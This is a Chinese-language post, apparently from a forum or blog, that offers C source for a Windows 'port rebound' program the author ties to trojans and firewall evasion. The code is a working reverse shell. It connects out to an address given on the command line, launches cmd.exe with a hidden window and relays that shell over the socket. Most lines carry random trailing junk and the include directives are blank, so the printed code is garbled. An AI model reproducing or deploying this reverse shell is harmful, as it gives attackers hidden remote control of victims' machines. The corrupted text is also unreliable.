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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s@C KZ`  
{SH +lX0]{  
/* ============================== ZUGuV@&-T  
Rebound port in Windows NT mq~rD)T  
By wind,2006/7 6GVj13Nr  
===============================*/ -$Bom  
#include tBEZ4 W>67  
#include A:Y]<jt  
\+OP!`  
#pragma comment(lib,"wsock32.lib") jxA`RSY  
O8BxXa@5  
void OutputShell(); <3\t J  
SOCKET sClient; -:9E+b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~F7 +R   
~doOt  
void main(int argc,char **argv) 0gY,[aQ2  
{ b_ 88o-*/  
WSADATA stWsaData; m~s.al(G91  
int nRet; &.k'Dj2hf  
SOCKADDR_IN stSaiClient,stSaiServer; l:NEK`>i  
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if(argc != 3) n 99>oh  
{ Xh==F:  
printf("Useage:\n\rRebound DestIP DestPort\n"); $<^4G  
return; ]'Y vI! r  
} y- S]\tu  
S<^*jheO5  
WSAStartup(MAKEWORD(2,2),&stWsaData); mo%9UL,#W  
?>47!):-*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9vc3&r  
W]|;ZzZ=m  
stSaiClient.sin_family = AF_INET; e6s-;  
stSaiClient.sin_port = htons(0); :nki6Rkowt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F5Ce:+h  
YpQ/ )fSEV  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d R2#n  
{ dtJaQ`  
printf("Bind Socket Failed!\n"); X$,#OR  
return; :b+C<Bp64r  
} }N; c  
:32  
stSaiServer.sin_family = AF_INET; ;p ~@*c'E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]>h2h?2te  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9TGjcZ1S'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,sPsL9]$  
{ rtcY(5Q  
printf("Connect Error!"); MtOA A  
return; fd >t9.  
} k1y&' 3%  
OutputShell(); /$zYSP)YT  
} b6!?K!imT  
:w_J/k5Zd  
void OutputShell() hNXP-s  
{ 'qBg^c  
char szBuff[1024]; k)\Yl`4au  
SECURITY_ATTRIBUTES stSecurityAttributes; ~ ar8e  
OSVERSIONINFO stOsversionInfo; Z[8{V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pKO\tkMJ  
STARTUPINFO stStartupInfo; Qg  
char *szShell; btb-MSkO  
PROCESS_INFORMATION stProcessInformation; k^gnOU;  
unsigned long lBytesRead; l= 5kd.{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bG nBV7b  
=g' 7 xA  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Mj5=t:MI  
stSecurityAttributes.lpSecurityDescriptor = 0; Ni IX^&N1  
stSecurityAttributes.bInheritHandle = TRUE; m;o \.s  
*=}$@O S  
Gad! }dz  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +GMM&6<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  K9  
Uxx=$&#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OIB~ W  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (_-<3)q4  
stStartupInfo.wShowWindow = SW_HIDE; 'LIJpk3J  
stStartupInfo.hStdInput = hReadPipe; oPRvd_~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; reLYtv  
}_}C ^  
GetVersionEx(&stOsversionInfo); >L#&L ?#  
~]?Q'ER  
switch(stOsversionInfo.dwPlatformId) 1fwCQM   
{ e $QX?y .  
case 1: Sj{z  
szShell = "command.com"; ;<0Q<0G  
break; bnLvJ]i)  
default: 5T}$+R0&  
szShell = "cmd.exe"; hX\XNiCiK8  
break; !I5_ln  
} UzFd@W u#  
k!O#6Z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e#IED!U  
t6_6Bl:  
send(sClient,szMsg,77,0); ?m#X";^V  
while(1) j['Z|Am"l  
{ LKY4rY!|@d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MdT'xYomzQ  
if(lBytesRead) {6'5K U*RH  
{ =3lUr<Ze  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X4*{CM  
send(sClient,szBuff,lBytesRead,0); mzTF2K  
} [>&Nhn0iY  
else Z 2Fm=88  
{ 4%2QF F @  
lBytesRead=recv(sClient,szBuff,1024,0); (.7_`T6QG  
if(lBytesRead<=0) break; rs2~spN;h  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %stZ'IX  
} 3nf+ imAF  
} VztalwI  
YMLo~j4J  
return; 1eI >Yy>}  
}
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